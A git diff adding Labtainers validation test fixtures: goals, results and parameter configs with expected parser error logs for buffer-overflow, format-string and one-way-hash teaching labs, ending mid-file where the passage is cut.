b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00008/parameter.config new file mode 100644 index 000000000..91f42318f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00008/parameter.config @@ -0,0 +1,10 @@ +# parameter.config +# +# Please see ..../docs/labdesigner.md + +# Size of the buffer to be overflowed. +rand1 : RAND_REPLACE : /home/ubuntu/stack.c : BUFFER_SIZE : 100 : 500 + +roothash : HASH_REPLACE : /root/.secret : ROOT_SECRET : mysupersecretrootfile +userhash : HASH_REPLACE : /home/ubuntu/.secret : UBUNTU_SECRET : mysupersecretubuntufile + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00008/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00008/results.config new file mode 100644 index 000000000..03c8514c7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00008/results.config @@ -0,0 +1,12 @@ +# results.config +# +# Please see ..../docs/results.config.format + +# The following are meant for buffer overflow vulnerability lab + +rootsecret = stack.stdout : 6 : STARTSWITH : My ROOT secret string is: + +aslr_setting = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space +whilesecret = whilebash.sh.stdout : 6 : STARTSWITH : My ROOT secret string is: +crashStringCanary = stack.stdout : 3 : STARTSWITH : *** stack smashing detected + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00009/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00009/about.txt new file mode 100644 index 000000000..3291ebd81 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00009/about.txt @@ -0,0 +1 @@ +Check goals.config - invalid format/type of matchany for a '3' tokens goals diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00009/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00009/expected.log new file mode 100644 index 000000000..fe7b37e3a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00009/expected.log @@ -0,0 +1 @@ +[2017-10-24 14:07:24,468 - ERROR : GoalsParser.py:331 - ParseGoals() ] Could not parse goals.config line while_get_root = matchany : ( _aslron and _looproot ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00009/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00009/goals.config new file mode 100644 index 000000000..3f724493d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00009/goals.config @@ -0,0 +1,17 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for buffer overflow vulnerability lab + +# did the student get a root shell & display the /root/.secret file? +gain_root_priv = matchany : string_equal : rootsecret : parameter.roothash + +# got a root shell with ASLR enabled? +_aslron = matchany : integer_equal : aslr_setting : answer=2 +_looproot = matchany : string_equal : whilesecret : parameter.roothash +while_get_root = matchany : ( _aslron and _looproot ) + +# experimented with enabling stack guard? +stack_protect = matchany : string_equal : crashStringCanary : answer=smashing + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00009/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00009/labname new file mode 100644 index 000000000..c8857a506 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00009/labname @@ -0,0 +1 @@ +bufoverflow diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00009/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00009/parameter.config new file mode 100644 index 000000000..91f42318f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00009/parameter.config @@ -0,0 +1,10 @@ +# parameter.config +# +# Please see ..../docs/labdesigner.md + +# Size of the buffer to be overflowed. +rand1 : RAND_REPLACE : /home/ubuntu/stack.c : BUFFER_SIZE : 100 : 500 + +roothash : HASH_REPLACE : /root/.secret : ROOT_SECRET : mysupersecretrootfile +userhash : HASH_REPLACE : /home/ubuntu/.secret : UBUNTU_SECRET : mysupersecretubuntufile + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00009/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00009/results.config new file mode 100644 index 000000000..03c8514c7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00009/results.config @@ -0,0 +1,12 @@ +# results.config +# +# Please see ..../docs/results.config.format + +# The following are meant for buffer overflow vulnerability lab + +rootsecret = stack.stdout : 6 : STARTSWITH : My ROOT secret string is: + +aslr_setting = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space +whilesecret = whilebash.sh.stdout : 6 : STARTSWITH : My ROOT secret string is: +crashStringCanary = stack.stdout : 3 : STARTSWITH : *** stack smashing detected + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00010/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00010/about.txt new file mode 100644 index 000000000..949515938 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00010/about.txt @@ -0,0 +1 @@ +Check goals.config - invalid format - type count_greater goal missing count value diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00010/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00010/expected.log new file mode 100644 index 000000000..167290dd7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00010/expected.log @@ -0,0 +1 @@ +[2017-10-24 14:12:41,186 - ERROR : GoalsParser.py:328 - ParseGoals() ] missing count_greater value in misscount = count_greater : crashStringCanary ? diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00010/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00010/goals.config new file mode 100644 index 000000000..511800b1e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00010/goals.config @@ -0,0 +1,18 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for buffer overflow vulnerability lab + +# did the student get a root shell & display the /root/.secret file? +gain_root_priv = matchany : string_equal : rootsecret : parameter.roothash + +# got a root shell with ASLR enabled? +_aslron = matchany : integer_equal : aslr_setting : answer=2 +_looproot = matchany : string_equal : whilesecret : parameter.roothash +while_get_root = boolean : ( _aslron and _looproot ) + +# experimented with enabling stack guard? +stack_protect = matchany : string_equal : crashStringCanary : answer=smashing + +misscount = count_greater : crashStringCanary diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00010/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00010/labname new file mode 100644 index 000000000..c8857a506 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00010/labname @@ -0,0 +1 @@ +bufoverflow diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00010/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00010/parameter.config new file mode 100644 index 000000000..91f42318f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00010/parameter.config @@ -0,0 +1,10 @@ +# parameter.config +# +# Please see ..../docs/labdesigner.md + +# Size of the buffer to be overflowed. +rand1 : RAND_REPLACE : /home/ubuntu/stack.c : BUFFER_SIZE : 100 : 500 + +roothash : HASH_REPLACE : /root/.secret : ROOT_SECRET : mysupersecretrootfile +userhash : HASH_REPLACE : /home/ubuntu/.secret : UBUNTU_SECRET : mysupersecretubuntufile + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00010/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00010/results.config new file mode 100644 index 000000000..03c8514c7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00010/results.config @@ -0,0 +1,12 @@ +# results.config +# +# Please see ..../docs/results.config.format + +# The following are meant for buffer overflow vulnerability lab + +rootsecret = stack.stdout : 6 : STARTSWITH : My ROOT secret string is: + +aslr_setting = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space +whilesecret = whilebash.sh.stdout : 6 : STARTSWITH : My ROOT secret string is: +crashStringCanary = stack.stdout : 3 : STARTSWITH : *** stack smashing detected + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00011/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00011/about.txt new file mode 100644 index 000000000..54650f38d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00011/about.txt @@ -0,0 +1 @@ +Check goals.config - goals referencing missing parameter diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00011/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00011/expected.log new file mode 100644 index 000000000..0cc20ab59 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00011/expected.log @@ -0,0 +1 @@ +[2017-10-24 14:29:23,834 - ERROR : GoalsParser.py:107 - getTagValue() ] Could not find parameter SECRETX diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00011/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00011/goals.config new file mode 100644 index 000000000..51a35a6ba --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00011/goals.config @@ -0,0 +1,26 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +#_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +_leaked_secret = matchany : string_end : leaked_secret1 : parameter.SECRETX +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00011/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00011/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00011/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00011/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00011/parameter.config new file mode 100644 index 000000000..51938da9d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00011/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00011/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00011/results.config new file mode 100644 index 000000000..ff66b2f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00011/results.config @@ -0,0 +1,11 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00012/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00012/about.txt new file mode 100644 index 000000000..20087d5ab --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00012/about.txt @@ -0,0 +1 @@ +Check goals.config - parameter ascii not in ASCII range diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00012/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00012/expected.log new file mode 100644 index 000000000..b26deedf0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00012/expected.log @@ -0,0 +1 @@ +[2017-10-24 14:34:35,865 - ERROR : GoalsParser.py:116 - getTagValue() ] parameter_ascii value 0x12 not in ascii range diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00012/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00012/goals.config new file mode 100644 index 000000000..e567d7dcb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00012/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for format string vulnerability lab + +# whether the student crashed the program +_crash_smash = matchany : string_equal : crashStringCanary : answer=smashing +_crash_sig = matchany : string_equal : crashStringSignal : answer=segmentation +crash = boolean : ( _crash_smash or _crash_sig ) + +# was the secret2 value leaked? +_leaked_secret = matchany : string_end : leaked_secret1 : parameter_ascii.SECRET2 +# was the secret2 value modified? +modify_value = matchany : string_diff : newsecret1value : result.origsecret1value +# was the secret2 value modified to a specific value? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# count stdin to determine if first scanf was disabled +_in_lines_2 = matchany : string_equal : input_lines : answer=2 +# was ASLR enabled? +_aslr_on = matchany : string_equal : aslr : answer=2 +# secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) +# secret leaked with ASLR no scanf, and ASLR disabled? +leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00012/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00012/labname new file mode 100644 index 000000000..d13324c1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00012/labname @@ -0,0 +1 @@ +formatstring diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00012/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00012/parameter.config new file mode 100644 index 000000000..ea1d376d8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00012/parameter.config @@ -0,0 +1,8 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +#SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a +SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x7 : 0x5a + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00012/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00012/results.config new file mode 100644 index 000000000..ff66b2f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00012/results.config @@ -0,0 +1,11 @@ +# results.config +# +# Please see ..../docs/results.config.format + +crashStringCanary = vul_prog.stdout : 3 : STARTSWITH : *** stack smashing detected +crashStringSignal = vul_prog.stdout : 3 : STARTSWITH : program exit, +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = vul_prog.stdin : LINE_COUNT +aslr = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00013/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00013/about.txt new file mode 100644 index 000000000..cdd469070 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00013/about.txt @@ -0,0 +1 @@ +Check goals.config - invalid format - resulttag can't have answer= diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00013/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00013/expected.log new file mode 100644 index 000000000..8dbec33d8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00013/expected.log @@ -0,0 +1 @@ +[2017-10-24 14:47:57,657 - ERROR : GoalsParser.py:177 - ValidateTag() ] goals.config only answertag is allowed answer=, resulttag (answer=filetodigest.txt) is not diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00013/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00013/goals.config new file mode 100644 index 000000000..075d2b696 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00013/goals.config @@ -0,0 +1,30 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + +# Goals for the onewayhash lab. + +# which hash algorithms did the student try? +#_md5done = matchany : string_equal : md5filedigest : answer=filetodigest.txt +_md5done = matchany : string_equal : answer=filetodigest.txt : md5filedigest +_sha1done = matchany : string_equal : sha1filedigest : answer=filetodigest.txt +_shadone = matchany : string_equal : shafiledigest : answer=filetodigest.txt +_sha256done = matchany : string_equal : sha256filedigest : answer=filetodigest.txt +_sha224done = matchany : string_equal : sha224filedigest : answer=filetodigest.txt +_sha384done = matchany : string_equal : sha384filedigest : answer=filetodigest.txt +_sha512done = matchany : string_equal : sha512filedigest : answer=filetodigest.txt +_md4done = matchany : string_equal : md4filedigest : answer=filetodigest.txt +_whirlpooldone = matchany : string_equal : whirlpoolfiledigest : answer=filetodigest.txt +_rmd160done = matchany : string_equal : rmd160filedigest : answer=filetodigest.txt +# did student try at least 3? +did_3_hashes = count_greater : 2 : (_md5done, _sha1done, _shadone, _sha256done, _sha384done, _sha512done, _md4done, _whirlpooldone, _rmd160done) + +# keyed hash with three precribed algorithms +hmac_md5_done = matchany : string_equal : hmacmd5filedigest : answer=filetodigest.txt +hmac_sha1_done = matchany : string_equal : hmacsha1filedigest : answer=filetodigest.txt +hmac_sha256_done = matchany : string_equal : hmacsha256filedigest : answer=filetodigest.txt + +random_sha256diff = matchacross : string_diff : random_sha256digest : random_sha256digest +random_md5diff = matchacross : string_diff : random_md5digest : random_md5digest + +own_work = matchany : string_equal : student_watermark : parameter.DIGESTFILE diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00013/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00013/labname new file mode 100644 index 000000000..ebf2320e1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00013/labname @@ -0,0 +1 @@ +onewayhash diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00013/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00013/parameter.config new file mode 100644 index 000000000..96db03e16 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00013/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see labdesigner.pdf + +# The following are meant for one-way hash function lab +DIGESTFILE : HASH_REPLACE : server:/home/ubuntu/filetodigest.txt : MY_DIGEST : mydigeststring + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00013/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00013/results.config new file mode 100644 index 000000000..89b37dc9e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00013/results.config @@ -0,0 +1,27 @@ +# results.config +# +# Results for onewayhas lab +# Please see the Labtainer Lab Designer User Guide + +# record hashing with various algorthims +md5filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : MD5 +sha1filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA1 +sha256filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA256 +sha224filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA224 +sha384filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA384 +sha512filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA512 +md4filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : MD4 +whirlpoolfiledigest = openssl.stdout : PARENS : 1 : STARTSWITH : WHIRLPOOL +rmd160filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : RIMEMD160 +shafiledigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA( + +# record keyed hash with 3 prescribed algorithms +hmacmd5filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : HMAC-MD5 +hmacsha1filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : HMAC-SHA1 +hmacsha256filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : HMAC-SHA256 + +# record digest with sha256 and md5 +random_sha256digest = openssl.stdout : 2 : STARTSWITH : SHA256(edit-this-file.txt) +random_md5digest = openssl.stdout : 2 : STARTSWITH : MD5(edit-this-file.txt) + +student_watermark = filetodigest.txt : 4 : STARTSWITH : My string is: diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00014/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00014/about.txt new file mode 100644 index 000000000..48e72fbbb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00014/about.txt @@ -0,0 +1 @@ +Check goals.config - invalid goals - matchacross type can't use answer= diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00014/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00014/expected.log new file mode 100644 index 000000000..b8af256b8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00014/expected.log @@ -0,0 +1 @@ +[2017-10-24 14:50:28,484 - ERROR : GoalsParser.py:180 - ValidateTag() ] goals.config answer= and goal_type==matchacross is not allowed diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00014/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00014/goals.config new file mode 100644 index 000000000..4aeb63010 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00014/goals.config @@ -0,0 +1,30 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + +# Goals for the onewayhash lab. + +# which hash algorithms did the student try? +_md5done = matchany : string_equal : md5filedigest : answer=filetodigest.txt +_sha1done = matchany : string_equal : sha1filedigest : answer=filetodigest.txt +_shadone = matchany : string_equal : shafiledigest : answer=filetodigest.txt +_sha256done = matchany : string_equal : sha256filedigest : answer=filetodigest.txt +_sha224done = matchany : string_equal : sha224filedigest : answer=filetodigest.txt +_sha384done = matchany : string_equal : sha384filedigest : answer=filetodigest.txt +_sha512done = matchany : string_equal : sha512filedigest : answer=filetodigest.txt +_md4done = matchany : string_equal : md4filedigest : answer=filetodigest.txt +_whirlpooldone = matchany : string_equal : whirlpoolfiledigest : answer=filetodigest.txt +_rmd160done = matchany : string_equal : rmd160filedigest : answer=filetodigest.txt +# did student try at least 3? +did_3_hashes = count_greater : 2 : (_md5done, _sha1done, _shadone, _sha256done, _sha384done, _sha512done, _md4done, _whirlpooldone, _rmd160done) + +# keyed hash with three precribed algorithms +hmac_md5_done = matchany : string_equal : hmacmd5filedigest : answer=filetodigest.txt +hmac_sha1_done = matchany : string_equal : hmacsha1filedigest : answer=filetodigest.txt +hmac_sha256_done = matchany : string_equal : hmacsha256filedigest : answer=filetodigest.txt + +#random_sha256diff = matchacross : string_diff : random_sha256digest : random_sha256digest +random_sha256diff = matchacross : string_diff : random_sha256digest : answer=2 +random_md5diff = matchacross : string_diff : random_md5digest : random_md5digest + +own_work = matchany : string_equal : student_watermark : parameter.DIGESTFILE diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00014/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00014/labname new file mode 100644 index 000000000..ebf2320e1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00014/labname @@ -0,0 +1 @@ +onewayhash diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00014/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00014/parameter.config new file mode 100644 index 000000000..96db03e16 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00014/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see labdesigner.pdf + +# The following are meant for one-way hash function lab +DIGESTFILE : HASH_REPLACE : server:/home/ubuntu/filetodigest.txt : MY_DIGEST : mydigeststring + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00014/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00014/results.config new file mode 100644 index 000000000..89b37dc9e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00014/results.config @@ -0,0 +1,27 @@ +# results.config +# +# Results for onewayhas lab +# Please see the Labtainer Lab Designer User Guide + +# record hashing with various algorthims +md5filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : MD5 +sha1filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA1 +sha256filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA256 +sha224filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA224 +sha384filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA384 +sha512filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA512 +md4filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : MD4 +whirlpoolfiledigest = openssl.stdout : PARENS : 1 : STARTSWITH : WHIRLPOOL +rmd160filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : RIMEMD160 +shafiledigest = openssl.stdout : PARENS : 1 : STARTSWITH : SHA( + +# record keyed hash with 3 prescribed algorithms +hmacmd5filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : HMAC-MD5 +hmacsha1filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : HMAC-SHA1 +hmacsha256filedigest = openssl.stdout : PARENS : 1 : STARTSWITH : HMAC-SHA256 + +# record digest with sha256 and md5 +random_sha256digest = openssl.stdout : 2 : STARTSWITH : SHA256(edit-this-file.txt) +random_md5digest = openssl.stdout : 2 : STARTSWITH : MD5(edit-this-file.txt) + +student_watermark = filetodigest.txt : 4 : STARTSWITH : My string is: diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00015/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00015/about.txt new file mode 100644 index 000000000..ce57eef26 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00015/about.txt @@ -0,0 +1 @@ +Check goals.config - invalid tag format - must be result. or parameter. or parameter_ascii. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00015/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00015/expected.log new file mode 100644 index 000000000..90b10e43d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00015/expected.log @@ -0,0 +1 @@ +[2017-10-24 15:08:12,869 - ERROR : GoalsParser.py:191 - ValidateTag() ] goals.config tag= then tag must be:(result,parameter,parameter_ascii), got xxxxlt.origsecret1value diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00015/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00015/goals.config new file mode 100644 index 000000000..d52ead777 --- /dev/null +++ 